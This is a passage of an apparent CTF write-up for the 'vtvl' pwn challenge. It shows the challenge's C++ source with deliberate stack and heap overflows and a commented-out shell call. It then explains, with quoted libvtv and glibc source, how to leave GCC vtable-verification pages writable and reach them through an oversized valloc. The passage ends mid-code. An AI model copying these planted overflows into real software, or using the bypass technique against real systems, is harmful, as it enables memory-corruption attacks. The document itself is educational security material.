class="line">121</span><br><span class="line">122</span><br><span class="line">123</span><br><span class="line">124</span><br><span class="line">125</span><br><span class="line">126</span><br><span class="line">127</span><br><span class="line">128</span><br><span class="line">129</span><br><span class="line">130</span><br><span class="line">131</span><br><span class="line">132</span><br><span class="line">133</span><br><span class="line">134</span><br><span class="line">135</span><br><span class="line">136</span><br><span class="line">137</span><br><span class="line">138</span><br><span class="line">139</span><br><span class="line">140</span><br><span class="line">141</span><br><span class="line">142</span><br><span class="line">143</span><br><span class="line">144</span><br><span class="line">145</span><br><span class="line">146</span><br><span class="line">147</span><br><span class="line">148</span><br><span class="line">149</span><br><span class="line">150</span><br><span class="line">151</span><br></pre></td><td class="code"><pre><span class="line"><span class="comment">/*</span></span><br><span class="line"><span class="comment"> g++ vtvl.cpp -o vtvl -std=c++11 -Wl,-s -Wl,-z,relro,-z,now -fstack-protector-all -fvtable-verify=std -static-libstdc++</span></span><br><span class="line"><span class="comment"> */</span></span><br><span class="line"></span><br><span class="line"><span class="meta">#<span class="meta-keyword">include</span> <span class="meta-string"><cstdlib></span></span></span><br><span class="line"><span class="meta">#<span class="meta-keyword">include</span> <span class="meta-string"><cstring></span></span></span><br><span class="line"><span class="meta">#<span class="meta-keyword">include</span> <span class="meta-string"><cstdint></span></span></span><br><span class="line"><span class="meta">#<span class="meta-keyword">include</span> <span class="meta-string"><cinttypes></span></span></span><br><span class="line"><span class="meta">#<span class="meta-keyword">include</span> <span class="meta-string"><unistd.h></span></span></span><br><span class="line"><span class="meta">#<span class="meta-keyword">include</span> <span class="meta-string"><errno.h></span></span></span><br><span class="line"><span class="keyword">using</span> <span class="keyword">namespace</span> <span class="built_in">std</span>;</span><br><span class="line"></span><br><span class="line"><span class="meta">#<span class="meta-keyword">define</span> myprintf(s) write(1, (s), strlen((s)))</span></span><br><span class="line"><span class="meta">#<span class="meta-keyword">define</span> myputs(s) write(1, (s <span class="meta-string">"\n"</span>), strlen((s <span class="meta-string">"\n"</span>)))</span></span><br><span class="line"></span><br><span class="line"><span class="function"><span class="keyword">void</span> <span class="title">recvlen</span><span class="params">(<span class="keyword">char</span> *buf, <span class="keyword">size_t</span> n)</span> </span>{</span><br><span class="line"> <span class="keyword">ssize_t</span> rc;</span><br><span class="line"></span><br><span class="line"> <span class="keyword">while</span> (n--) {</span><br><span class="line"> rc = read(<span class="number">0</span>, buf, <span class="number">1</span>);</span><br><span class="line"> <span class="keyword">if</span> (rc == <span class="number">0</span>) <span class="keyword">return</span>;</span><br><span class="line"> <span class="keyword">if</span> (rc == <span class="number">-1</span>) {</span><br><span class="line"> <span class="keyword">if</span> (errno == EAGAIN || errno == EINTR) {</span><br><span class="line"> <span class="keyword">continue</span>;</span><br><span class="line"> }</span><br><span class="line"> <span class="keyword">return</span>;</span><br><span class="line"> }</span><br><span class="line"></span><br><span class="line"> <span class="keyword">if</span> (*buf == <span class="string">'\n'</span>) {</span><br><span class="line"> *buf = <span class="string">'\0'</span>;</span><br><span class="line"> <span class="keyword">return</span>;</span><br><span class="line"> }</span><br><span class="line"></span><br><span class="line"> buf++;</span><br><span class="line"> }</span><br><span class="line">}</span><br><span class="line"></span><br><span class="line"><span class="keyword">uint64_t</span> GetInt() {</span><br><span class="line"> <span class="keyword">char</span> buf[<span class="number">0x20</span>] = <span class="string">""</span>;</span><br><span class="line"> recvlen(buf, <span class="number">0x1f</span>);</span><br><span class="line"> <span class="keyword">return</span> strtoull(buf, <span class="literal">NULL</span>, <span class="number">10</span>);</span><br><span class="line">}</span><br><span class="line"></span><br><span class="line"><span class="class"><span class="keyword">class</span> <span class="title">Rocket</span> {</span></span><br><span class="line"><span class="keyword">public</span>:</span><br><span class="line"> <span class="function"><span class="keyword">static</span> <span class="keyword">void</span> *<span class="keyword">operator</span> <span class="title">new</span><span class="params">(<span class="keyword">size_t</span> size, <span class="keyword">void</span> *buf)</span> </span>{ <span class="keyword">return</span> buf; }</span><br><span class="line"> <span class="function"><span class="keyword">static</span> <span class="keyword">void</span> <span class="keyword">operator</span> <span class="title">delete</span><span class="params">(<span class="keyword">void</span> *p, <span class="keyword">void</span> *buf)</span> </span>{}</span><br><span class="line"> <span class="function"><span class="keyword">virtual</span> <span class="keyword">void</span> <span class="title">Operate</span><span class="params">(<span class="keyword">uint8_t</span> *op, <span class="keyword">uint64_t</span> size)</span> </span>{</span><br><span class="line"> <span class="keyword">uint64_t</span> i;</span><br><span class="line"> <span class="keyword">int64_t</span> x = <span class="number">0</span>;</span><br><span class="line"> <span class="keyword">int64_t</span> y = <span class="number">100</span>;</span><br><span class="line"></span><br><span class="line"> <span class="keyword">for</span> (i=<span class="number">0</span>; i<size; i++) {</span><br><span class="line"> <span class="keyword">switch</span> (op[i]) {</span><br><span class="line"> <span class="keyword">case</span> <span class="string">'D'</span>:</span><br><span class="line"> y--;</span><br><span class="line"> <span class="keyword">break</span>;</span><br><span class="line"> <span class="keyword">case</span> <span class="string">'L'</span>:</span><br><span class="line"> x--;</span><br><span class="line"> <span class="keyword">break</span>;</span><br><span class="line"> <span class="keyword">case</span> <span class="string">'R'</span>:</span><br><span class="line"> x++;</span><br><span class="line"> <span class="keyword">break</span>;</span><br><span class="line"> <span class="keyword">default</span>:</span><br><span class="line"> <span class="built_in">exit</span>(<span class="number">-1</span>);</span><br><span class="line"> }</span><br><span class="line"> }</span><br><span class="line"></span><br><span class="line"> <span class="keyword">if</span> (x == <span class="number">0</span> && y == <span class="number">0</span>) myputs(<span class="string">"The rocket landed successfully."</span>);</span><br><span class="line"> <span class="keyword">else</span> myputs(<span class="string">"Failed."</span>);</span><br><span class="line"> }</span><br><span class="line">};</span><br><span class="line"></span><br><span class="line"><span class="class"><span class="keyword">class</span> <span class="title">UnusedRocket</span> :</span> <span class="keyword">public</span> Rocket {</span><br><span class="line"> <span class="function"><span class="keyword">void</span> <span class="title">Operate</span><span class="params">(<span class="keyword">uint8_t</span> *op, <span class="keyword">uint64_t</span> size)</span> </span>{}</span><br><span class="line">};</span><br><span class="line"></span><br><span class="line"><span class="function"><span class="keyword">void</span> <span class="title">ReadLine</span><span class="params">(<span class="keyword">char</span> *buf)</span> </span>{</span><br><span class="line"> <span class="keyword">ssize_t</span> rc;</span><br><span class="line"> <span class="keyword">while</span> (<span class="number">1</span>) {</span><br><span class="line"> rc = read(<span class="number">0</span>, buf, <span class="number">1</span>);</span><br><span class="line"> <span class="keyword">if</span> (rc == <span class="number">0</span>) <span class="keyword">break</span>;</span><br><span class="line"> <span class="keyword">if</span> (rc == <span class="number">-1</span>) {</span><br><span class="line"> <span class="keyword">if</span> (errno == EAGAIN || errno == EINTR) <span class="keyword">continue</span>;</span><br><span class="line"> <span class="keyword">return</span>;</span><br><span class="line"> }</span><br><span class="line"></span><br><span class="line"> <span class="keyword">if</span> (*buf == <span class="string">'\n'</span>) {</span><br><span class="line"> *buf = <span class="string">'\0'</span>;</span><br><span class="line"> <span class="keyword">break</span>;</span><br><span class="line"> }</span><br><span class="line"> buf++;</span><br><span class="line"> }</span><br><span class="line">}</span><br><span class="line"></span><br><span class="line"><span class="keyword">char</span> *name;</span><br><span class="line">Rocket *rocket;</span><br><span class="line"><span class="keyword">char</span> name_dup[<span class="number">64</span>];</span><br><span class="line"></span><br><span class="line"><span class="function"><span class="keyword">void</span> <span class="title">print_banner</span><span class="params">(<span class="keyword">void</span>)</span> </span>{</span><br><span class="line"> myputs(<span class="string">" "</span>);</span><br><span class="line"> myputs(<span class="string">" ▄ ▄ ▄▄▄▄▄▄▄▄▄▄▄ ▄ ▄ ▄ "</span>);</span><br><span class="line"> myputs(<span class="string">"▐░▌ ▐░▌▐░░░░░░░░░░░▌▐░▌ ▐░▌▐░▌ "</span>);</span><br><span class="line"> myputs(<span class="string">" ▐░▌ ▐░▌ ▀▀▀▀█░█▀▀▀▀ ▐░▌ ▐░▌ ▐░▌ "</span>);</span><br><span class="line"> myputs(<span class="string">" ▐░▌ ▐░▌ ▐░▌ ▐░▌ ▐░▌ ▐░▌ "</span>);</span><br><span class="line"> myputs(<span class="string">" ▐░▌ ▐░▌ ▐░▌ ▐░▌ ▐░▌ ▐░▌ "</span>);</span><br><span class="line"> myputs(<span class="string">" ▐░▌ ▐░▌ ▐░▌ ▐░▌ ▐░▌ ▐░▌ "</span>);</span><br><span class="line"> myputs(<span class="string">" ▐░▌ ▐░▌ ▐░▌ ▐░▌ ▐░▌ ▐░▌ "</span>);</span><br><span class="line"> myputs(<span class="string">" ▐░▌ ▐░▌ ▐░▌ ▐░▌ ▐░▌ ▐░▌ "</span>);</span><br><span class="line"> myputs(<span class="string">" ▐░▐░▌ ▐░▌ ▐░▐░▌ ▐░█▄▄▄▄▄▄▄▄▄ "</span>);</span><br><span class="line"> myputs(<span class="string">" ▐░▌ ▐░▌ ▐░▌ ▐░░░░░░░░░░░▌"</span>);</span><br><span class="line"> myputs(<span class="string">" ▀ ▀ ▀ ▀▀▀▀▀▀▀▀▀▀▀ "</span>);</span><br><span class="line"> myputs(<span class="string">" "</span>);</span><br><span class="line">}</span><br><span class="line"></span><br><span class="line">void service(void) __attribute__((constructor(100)));</span><br><span class="line"><span class="function"><span class="keyword">void</span> <span class="title">service</span><span class="params">(<span class="keyword">void</span>)</span> </span>{</span><br><span class="line"> <span class="keyword">uint64_t</span> i;</span><br><span class="line"> <span class="keyword">uint64_t</span> size;</span><br><span class="line"> rocket = <span class="keyword">new</span> (alloca(<span class="keyword">sizeof</span>(Rocket))) Rocket;</span><br><span class="line"> name = (<span class="keyword">char</span>*)alloca(<span class="number">64</span>);</span><br><span class="line"></span><br><span class="line"> print_banner();</span><br><span class="line"> myputs(<span class="string">"**** Welcome to VTVl(Vertical Takeoff Vertical landing) simulator! ****\n"</span>);</span><br><span class="line"> myprintf(<span class="string">"Your name: "</span>);</span><br><span class="line"> ReadLine(name);</span><br><span class="line"> <span class="built_in">memcpy</span>(name_dup, name, <span class="number">64</span>);</span><br><span class="line"> myprintf(<span class="string">"Hi, "</span>);</span><br><span class="line"> myprintf(name);</span><br><span class="line"> myputs(<span class="string">"!\n"</span>);</span><br><span class="line"></span><br><span class="line"> myprintf(<span class="string">"Size of operation: "</span>);</span><br><span class="line"> size = GetInt();</span><br><span class="line"> <span class="keyword">uint8_t</span> *ptr = (<span class="keyword">uint8_t</span>*)valloc(size+<span class="number">1</span>);</span><br><span class="line"> <span class="keyword">if</span> (!ptr) {</span><br><span class="line"> myputs(<span class="string">"Couldn't allocate the requested size."</span>);</span><br><span class="line"> <span class="built_in">exit</span>(<span class="number">-1</span>);</span><br><span class="line"> }</span><br><span class="line"></span><br><span class="line"> recvlen((<span class="keyword">char</span>*)ptr, size);</span><br><span class="line"> rocket->Operate(ptr, size);</span><br><span class="line"> myputs(<span class="string">"Bye."</span>);</span><br><span class="line"> <span class="built_in">exit</span>(<span class="number">0</span>);</span><br><span class="line">}</span><br><span class="line"></span><br><span class="line"><span class="function"><span class="keyword">int</span> <span class="title">main</span><span class="params">(<span class="keyword">void</span>)</span> </span>{</span><br><span class="line"><span class="comment">// We decided to provide no hint or no help in order to adjust the difficulty.</span></span><br><span class="line"><span class="comment">/* myputs("Hint: see _init_array.");</span></span><br><span class="line"><span class="comment"> myputs("And for simplicity, you may use this if you can.");</span></span><br><span class="line"><span class="comment"> execl("/bin/sh", "/bin/sh", NULL);*/</span></span><br><span class="line">}</span><br></pre></td></tr></table></figure></p>
<p>I think it is really easy for you to find a stack buffer overflow and a heap-based buffer overflow at line 126 and 140.<br>But as the problem name suggests, this problem uses <a href="https://gcc.gnu.org/wiki/vtv" target="_blank" rel="external">VTV</a>, which makes it almost impossible to exploit this problem.</p>
<p>By the way, it is very weird that this program doesn’t use <code>main</code> at all, that <code>service</code> has <code>__attribute__((constructor(100)));</code>, and that the program uses <code>valloc</code> instead of <code>malloc</code>.<br>Actually these are the key points to solve the task.</p>
<p>So how does <code>__attribute__((constructor(100)));</code> affect VTV?<br>You would find the answer of this question only by reading the source code of VTV.</p>
<p>Here it is:<br><figure class="highlight c"><figcaption><span>vtv_end.c</span><a href="https://github.com/gcc-mirror/gcc/blob/master/libgcc/vtv_end.c" target="_blank" rel="external">https://github.com/gcc-mirror/gcc/blob/master/libgcc/vtv_end.c</a></figcaption><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br><span class="line">6</span><br><span class="line">7</span><br><span class="line">8</span><br><span class="line">9</span><br><span class="line">10</span><br><span class="line">11</span><br><span class="line">12</span><br></pre></td><td class="code"><pre><span class="line"><span class="meta">#<span class="meta-keyword">include</span> <span class="meta-string">"vtv-change-permission.h"</span></span></span><br><span class="line"></span><br><span class="line">__attribute__ ((constructor(<span class="number">100</span>))) <span class="keyword">void</span></span><br><span class="line">__VLTprotect (<span class="keyword">void</span>)</span><br><span class="line">{</span><br><span class="line"> __VLTChangePermission (__VLTP_READ_ONLY);</span><br><span class="line">}</span><br><span class="line"></span><br><span class="line"><span class="comment">/* Page-sized variable to mark end of .vtable_map_vars section. */</span></span><br><span class="line"><span class="keyword">char</span> _vtable_map_vars_end[VTV_PAGE_SIZE]</span><br><span class="line"> __attribute__ ((__visibility__ (<span class="string">"protected"</span>), used,</span><br><span class="line"> section(<span class="string">".vtable_map_vars"</span>)));</span><br></pre></td></tr></table></figure></p>
<p>So this means the call of <code>service</code> probably precedes the call of <code>__VLTprotect</code>.<br>You can confirm this seeing .init_array.</p>
<p>What does <code>__VLTprotect</code> do?<br>This is also the question you can’t answer unless you read the source code:<br><figure class="highlight c"><figcaption><span>vtv_rts.cc++</span><a href="https://github.com/gcc-mirror/gcc/blob/master/libvtv/vtv_rts.cc" target="_blank" rel="external">https://github.com/gcc-mirror/gcc/blob/master/libvtv/vtv_rts.cc</a></figcaption><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br><span class="line">6</span><br><span class="line">7</span><br><span class="line">8</span><br><span class="line">9</span><br><span class="line">10</span><br><span class="line">11</span><br><span class="line">12</span><br><span class="line">13</span><br><span class="line">14</span><br><span class="line">15</span><br><span class="line">16</span><br><span class="line">17</span><br><span class="line">18</span><br><span class="line">19</span><br><span class="line">20</span><br><span class="line">21</span><br><span class="line">22</span><br><span class="line">23</span><br><span class="line">24</span><br><span class="line">25</span><br><span class="line">26</span><br><span class="line">27</span><br><span class="line">28</span><br><span class="line">29</span><br><span class="line">30</span><br><span class="line">31</span><br><span class="line">32</span><br><span class="line">33</span><br><span class="line">34</span><br><span class="line">35</span><br><span class="line">36</span><br><span class="line">37</span><br><span class="line">38</span><br><span class="line">39</span><br><span class="line">40</span><br><span class="line">41</span><br><span class="line">42</span><br><span class="line">43</span><br><span class="line">44</span><br><span class="line">45</span><br><span class="line">46</span><br><span class="line">47</span><br><span class="line">48</span><br><span class="line">49</span><br><span class="line">50</span><br><span class="line">51</span><br><span class="line">52</span><br><span class="line">53</span><br><span class="line">54</span><br><span class="line">55</span><br><span class="line">56</span><br><span class="line">57</span><br><span class="line">58</span><br><span class="line">59</span><br><span class="line">60</span><br><span class="line">61</span><br><span class="line">62</span><br><span class="line">63</span><br></pre></td><td class="code"><pre><span class="line"><span class="keyword">void</span></span><br><span class="line">__VLTChangePermission (<span class="keyword">int</span> perm)</span><br><span class="line">{</span><br><span class="line"> ...</span><br><span class="line"></span><br><span class="line"> <span class="comment">/* Ordering of these unprotect/protect calls is very important.</span></span><br><span class="line"><span class="comment"> You first need to unprotect all the map vars and side</span></span><br><span class="line"><span class="comment"> structures before you do anything with the core data</span></span><br><span class="line"><span class="comment"> structures (hash_maps) */</span></span><br><span class="line"></span><br><span class="line"> <span class="keyword">if</span> (perm == __VLTP_READ_WRITE)</span><br><span class="line"> {</span><br><span class="line"> <span class="comment">/* <span class="doctag">TODO:</span> Need to revisit this code for dlopen. It most probably</span></span><br><span class="line"><span class="comment"> is not unlocking the protected vtable vars after for load</span></span><br><span class="line"><span class="comment"> module that is not the first load module. */</span></span><br><span class="line"> __gthread_mutex_lock (&change_permissions_lock);</span><br><span class="line"></span><br><span class="line"> vtv_unprotect_vtable_vars ();</span><br><span class="line"> __vtv_malloc_init ();</span><br><span class="line"> __vtv_malloc_unprotect ();</span><br><span class="line"></span><br><span class="line"> }</span><br><span class="line"> <span class="keyword">else</span> <span class="keyword">if</span> (perm == __VLTP_READ_ONLY)</span><br><span class="line"> {</span><br><span class="line"> <span class="keyword">if</span> (debug_hash)</span><br><span class="line"> log_set_stats();</span><br><span class="line"></span><br><span class="line"> __vtv_malloc_protect ();</span><br><span class="line"> vtv_protect_vtable_vars ();</span><br><span class="line"></span><br><span class="line"> __gthread_mutex_unlock (&change_permissions_lock);</span><br><span class="line"> }</span><br><span class="line">}</span><br><span class="line"></span><br><span class="line">...</span><br><span class="line"></span><br><span class="line"><span class="keyword">static</span> <span class="keyword">void</span></span><br><span class="line">vtv_protect_vtable_vars (<span class="keyword">void</span>)</span><br><span class="line">{</span><br><span class="line"> <span class="keyword">int</span> mprotect_flags;</span><br><span class="line"></span><br><span class="line"> mprotect_flags = PROT_READ;</span><br><span class="line"><span class="meta">#<span class="meta-keyword">if</span> defined (__CYGWIN__) || defined (__MINGW32__)</span></span><br><span class="line"> iterate_modules ((<span class="keyword">void</span> *) &mprotect_flags);</span><br><span class="line"><span class="meta">#<span class="meta-keyword">else</span></span></span><br><span class="line"> dl_iterate_phdr (dl_iterate_phdr_callback, (<span class="keyword">void</span> *) &mprotect_flags);</span><br><span class="line"><span class="meta">#<span class="meta-keyword">endif</span></span></span><br><span class="line"> change_protections_on_phdr_cache (mprotect_flags);</span><br><span class="line">}</span><br><span class="line"></span><br><span class="line">...</span><br><span class="line"></span><br><span class="line"><span class="keyword">static</span> <span class="keyword">void</span></span><br><span class="line">change_protections_on_phdr_cache (<span class="keyword">int</span> protection_flag)</span><br><span class="line">{</span><br><span class="line"> <span class="keyword">char</span> * low_address = (<span class="keyword">char</span> *) &(vtv_sect_info_cache);</span><br><span class="line"> <span class="keyword">size_t</span> cache_size = MAX_ENTRIES * <span class="keyword">sizeof</span> (struct sect_hdr_data);</span><br><span class="line"></span><br><span class="line"> low_address = (<span class="keyword">char</span> *) ((<span class="keyword">uintptr_t</span>) low_address & ~(VTV_PAGE_SIZE - <span class="number">1</span>));</span><br><span class="line"> </span><br><span class="line"> <span class="keyword">if</span> (mprotect ((<span class="keyword">void</span> *) low_address, cache_size, protection_flag) == <span class="number">-1</span>)</span><br><span class="line"> VTV_error ();</span><br><span class="line">}</span><br></pre></td></tr></table></figure></p>
<figure class="highlight c"><figcaption><span>vtv_malloc.cc++</span><a href="https://github.com/gcc-mirror/gcc/blob/master/libvtv/vtv_malloc.cc" target="_blank" rel="external">https://github.com/gcc-mirror/gcc/blob/master/libvtv/vtv_malloc.cc</a></figcaption><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br><span class="line">6</span><br><span class="line">7</span><br><span class="line">8</span><br><span class="line">9</span><br><span class="line">10</span><br><span class="line">11</span><br><span class="line">12</span><br><span class="line">13</span><br><span class="line">14</span><br><span class="line">15</span><br><span class="line">16</span><br><span class="line">17</span><br><span class="line">18</span><br><span class="line">19</span><br><span class="line">20</span><br><span class="line">21</span><br><span class="line">22</span><br><span class="line">23</span><br><span class="line">24</span><br><span class="line">25</span><br><span class="line">26</span><br><span class="line">27</span><br><span class="line">28</span><br><span class="line">29</span><br><span class="line">30</span><br><span class="line">31</span><br><span class="line">32</span><br><span class="line">33</span><br><span class="line">34</span><br><span class="line">35</span><br><span class="line">36</span><br><span class="line">37</span><br><span class="line">38</span><br><span class="line">39</span><br><span class="line">40</span><br><span class="line">41</span><br><span class="line">42</span><br><span class="line">43</span><br><span class="line">44</span><br><span class="line">45</span><br><span class="line">46</span><br><span class="line">47</span><br><span class="line">48</span><br><span class="line">49</span><br><span class="line">50</span><br><span class="line">51</span><br><span class="line">52</span><br><span class="line">53</span><br><span class="line">54</span><br><span class="line">55</span><br><span class="line">56</span><br><span class="line">57</span><br><span class="line">58</span><br><span class="line">59</span><br><span class="line">60</span><br></pre></td><td class="code"><pre><span class="line"></span><br><span class="line"><span class="keyword">void</span></span><br><span class="line">__vtv_malloc_protect (<span class="keyword">void</span>)</span><br><span class="line">{</span><br><span class="line"> change_protections_on_data_chunks (PROT_READ);</span><br><span class="line">}</span><br><span class="line"></span><br><span class="line"><span class="comment">/* This function goes through all of the pages we have allocated so</span></span><br><span class="line"><span class="comment"> far and calls mprotect to change the protections on the pages,</span></span><br><span class="line"><span class="comment"> according to the value of PROTECTION_FLAG. */</span></span><br><span class="line"></span><br><span class="line"><span class="keyword">static</span> <span class="keyword">void</span></span><br><span class="line">change_protections_on_data_chunks (<span class="keyword">int</span> protection_flag)</span><br><span class="line">{</span><br><span class="line"> <span class="class"><span class="keyword">struct</span> _<span class="title">obstack_chunk</span> *<span class="title">ci</span>;</span></span><br><span class="line"> ci = (struct _obstack_chunk *) current_chunk;</span><br><span class="line"></span><br><span class="line"> <span class="keyword">while</span> (ci)</span><br><span class="line"> {</span><br><span class="line"> <span class="comment">/* Initial set up for mprotect call.*/</span></span><br><span class="line"> <span class="class"><span class="keyword">struct</span> _<span class="title">obstack_chunk</span> *<span class="title">protect_start</span> = <span class="title">ci</span>;</span></span><br><span class="line"> <span class="keyword">size_t</span> chunk_size;</span><br><span class="line"> <span class="keyword">size_t</span> total_size;</span><br><span class="line"> <span class="keyword">unsigned</span> <span class="keyword">int</span> num_pages_in_chunk;</span><br><span class="line"> <span class="keyword">char</span> *next_page;</span><br><span class="line"> <span class="keyword">unsigned</span> <span class="keyword">long</span> <span class="keyword">long</span> start, end;</span><br><span class="line"> <span class="keyword">int</span> result;</span><br><span class="line"></span><br><span class="line"></span><br><span class="line"> <span class="comment">/* As long as the next 'chunk' is adjacent to the current one,</span></span><br><span class="line"><span class="comment"> keep going down the list. */</span></span><br><span class="line"> <span class="keyword">do</span></span><br><span class="line"> {</span><br><span class="line"> chunk_size = (ci->limit - (<span class="keyword">char</span> *) ci);</span><br><span class="line"> total_size = (ci->limit - (<span class="keyword">char</span> *) protect_start);</span><br><span class="line"> num_pages_in_chunk = chunk_size / VTV_PAGE_SIZE;</span><br><span class="line"> <span class="keyword">if</span> (chunk_size % VTV_PAGE_SIZE > <span class="number">0</span>)</span><br><span class="line"> num_pages_in_chunk++;</span><br><span class="line"> next_page = (<span class="keyword">char</span> *) ci + (num_pages_in_chunk * VTV_PAGE_SIZE);</span><br><span class="line"> ci = ci->prev;</span><br><span class="line"> } <span class="keyword">while</span> (ci && (<span class="keyword">char</span> *) ci == next_page);</span><br><span class="line"></span><br><span class="line"> VTV_DEBUG_ASSERT (((<span class="keyword">unsigned</span> <span class="keyword">long</span>) protect_start & (VTV_PAGE_SIZE - <span class="number">1</span>))</span><br><span class="line"> == <span class="number">0</span>);</span><br><span class="line"></span><br><span class="line"> <span class="comment">/* Protect the contiguous chunks so far. */</span></span><br><span class="line"> start = rdtsc ();</span><br><span class="line"> result = mprotect (protect_start, total_size, protection_flag);</span><br><span class="line"> end = rdtsc ();</span><br><span class="line"> mprotect_cycles += end - start;</span><br><span class="line"> <span class="keyword">if</span> (result == <span class="number">-1</span>)</span><br><span class="line"> VTV_error ();</span><br><span class="line"> num_calls_to_mprotect++;</span><br><span class="line"> num_pages_protected += (total_size + VTV_PAGE_SIZE - <span class="number">1</span>)/ VTV_PAGE_SIZE;</span><br><span class="line"> }</span><br><span class="line"></span><br><span class="line"><span class="meta">#<span class="meta-keyword">ifdef</span> VTV_DEBUG</span></span><br><span class="line"> __vtv_malloc_dump_stats ();</span><br><span class="line"><span class="meta">#<span class="meta-keyword">endif</span></span></span><br><span class="line">}</span><br></pre></td></tr></table></figure>
<p>So it seems some pages used in VTV, which are read-only normally, are left writable with this configuration.<br>Because <code>mprotect</code> is used in the source code, it is obvious that those pages are created with <code>mmap</code>(of course you can check it reading the source code more).</p>
<p>At this stage what you want to do becomes a bit clearer: to overwrite those pages which are likely to contain the information used for verification.<br>But how? There should be only stack-based and heap-based buffer overflows.</p>
<p>Recall that, <code>malloc</code> allocates blocks of memory larger than MMAP_THRESHOLD bytes in a private anonymous mapping using <code>mmap</code>.<br>Then it follows that you can overwrite the pages if you can allocates more than MMAP_THRESHOLD bytes and cause a buffer overflow there.<br>But actually this doesn’t work alone.<br>That is because you need to call <code>valloc(0)</code> setting the size as -1.<br>The default value of MMAP_THRESHOLD is 0x20000. Zero won’t be greater than this value unless 1=0. </p>
<p>Here, you need to wonder why <code>valloc</code> is used instead of <code>malloc</code>.<br>This time read glibc!</p>
<figure class="highlight c"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br><span class="line">6</span><br><span class="line">7</span><br><span class="line">8</span><br><span class="line">9</span><br><span class="line">10</span><br><span class="line">11</span><br><span class="line">12</span><br><span class="line">13</span><br><span class="line">14</span><br><span class="line">15</span><br><span class="line">16</span><br><span class="line">17</span><br><span class="line">18</span><br><span class="line">19</span><br><span class="line">20</span><br><span class="line">21</span><br><span class="line">22</span><br><span class="line">23</span><br><span class="line">24</span><br><span class="line">25</span><br><span class="line">26</span><br><span class="line">27</span><br><span class="line">28</span><br><span class="line">29</span><br><span class="line">30</span><br><span class="line">31</span><br><span class="line">32</span><br><span class="line">33</span><br><span class="line">34</span><br><span class="line">35</span><br><span class="line">36</span><br><span class="line">37</span><br><span class="line">38</span><br><span class="line">39</span><br><span class="line">40</span><br><span class="line">41</span><br><span class="line">42</span><br><span class="line">43</span><br><span class="line">44</span><br><span class="line">45</span><br><span class="line">46</span><br><span class="line">47</span><br><span class="line">48</span><br><span class="line">49</span><br><span class="line">50</span><br><span class="line">51</span><br><span class="line">52</span><br><span class="line">53</span><br><span class="line">54</span><br><span class="line">55</span><br><span class="line">56</span><br><span class="line">57</span><br><span class="line">58</span><br><span class="line">59</span><br><span class="line">60</span><br><span class="line">61</span><br><span class="line">62</span><br><span class="line">63</span><br><span class="line">64</span><br><span class="line">65</span><br><span class="line">66</span><br><span class="line">67</span><br><span class="line">68</span><br><span class="line">69</span><br><span class="line">70</span><br><span class="line">71</span><br><span class="line">72</span><br><span class="line">73</span><br><span class="line">74</span><br><span class="line">75</span><br><span class="line">76</span><br><span class="line">77</span><br><span class="line">78</span><br><span class="line">79</span><br><span class="line">80</span><br><span class="line">81</span><br><span class="line">82</span><br><span class="line">83</span><br><span class="line">84</span><br><span class="line">85</span><br><span class="line">86</span><br><span class="line">87</span><br><span class="line">88</span><br><span class="line">89</span><br><span class="line">90</span><br><span class="line">91</span><br><span class="line">92</span><br><span class="line">93</span><br><span class="line">94</span><br><span class="line">95</span><br><span class="line">96</span><br><span class="line">97</span><br><span class="line">98</span><br><span class="line">99</span><br><span class="line">100</span><br><span class="line">101</span><br><span class="line">102</span><br><span class="line">103</span><br><span class="line">104</span><br><span class="line">105</span><br></pre></td><td class="code"><pre><span class="line"><span class="keyword">void</span> *</span><br><span class="line">__libc_valloc (<span class="keyword">size_t</span> bytes)</span><br><span class="line">{</span><br><span class="line"> <span class="keyword">if</span> (__malloc_initialized < <span class="number">0</span>)</span><br><span class="line"> ptmalloc_init ();</span><br><span class="line"></span><br><span class="line"> <span class="keyword">void</span> *address = RETURN_ADDRESS (<span class="number">0</span>);</span><br><span class="line"> <span class="keyword">size_t</span> pagesize = GLRO (dl_pagesize);</span><br><span class="line"> <span class="keyword">return</span> _mid_memalign (pagesize, bytes, address);</span><br><span class="line">}</span><br><span class="line"></span><br><span class="line">_init</span><br><span class="line">ptmalloc_init (<span class="keyword">void</span>)</span><br><span class="line">{</span><br><span class="line"> <span class="keyword">if</span> (__malloc_initialized >= <span class="number">0</span>)</span><br><span class="line"> <span class="keyword">return</span>;</span><br><span class="line"></span><br><span class="line"> __malloc_initialized = <span class="number">0</span>;</span><br><span class="line"></span><br><span class="line"><span class="meta">#<span class="meta-keyword">ifdef</span> SHARED</span></span><br><span class="line"> <span class="comment">/* In case this libc copy is in a non-default namespace, never use brk.</span></span><br><span class="line"><span class="comment"> Likewise if dlopened from statically linked program. */</span></span><br><span class="line"> Dl_info di;</span><br><span class="line"> <span class="class"><span class="keyword">struct</span> <span class="title">link_map</span> *<span class="title">l</span>;</span></span><br><span class="line"></span><br><span class="line"> <span class="keyword">if</span> (_dl_open_hook != <span class="literal">NULL</span></span><br><span class="line"> || (_dl_addr (ptmalloc_init, &di, &l, <span class="literal">NULL</span>) != <span class="number">0</span></span><br><span class="line"> && l->l_ns != LM_ID_BASE))</span><br><span class="line"> __morecore = __failing_morecore;</span><br><span class="line"><span class="meta">#<span class="meta-keyword">endif</span></span></span><br><span class="line"></span><br><span class="line"> thread_arena = &main_arena;</span><br><span class="line"> <span class="keyword">const</span> <span class="keyword">char</span> *s = <span class="literal">NULL</span>;</span><br><span class="line"> <span class="keyword">if</span> (__glibc_likely (_environ != <span class="literal">NULL</span>))</span><br><span class="line"> {</span><br><span class="line"> <span class="keyword">char</span> **runp = _environ;</span><br><span class="line"> <span class="keyword">char</span> *envline;</span><br><span class="line"></span><br><span class="line"> <span class="keyword">while</span> (__builtin_expect ((envline = next_env_entry (&runp)) != <span class="literal">NULL</span>,</span><br><span class="line"> <span class="number">0</span>))</span><br><span class="line"> {</span><br><span class="line"> <span class="keyword">size_t</span> len = <span class="built_in">strcspn</span> (envline, <span class="string">"="</span>);</span><br><span class="line"></span><br><span class="line"> <span class="keyword">if</span> (envline[len] != <span class="string">'='</span>)</span><br><span class="line"> <span class="comment">/* This is a 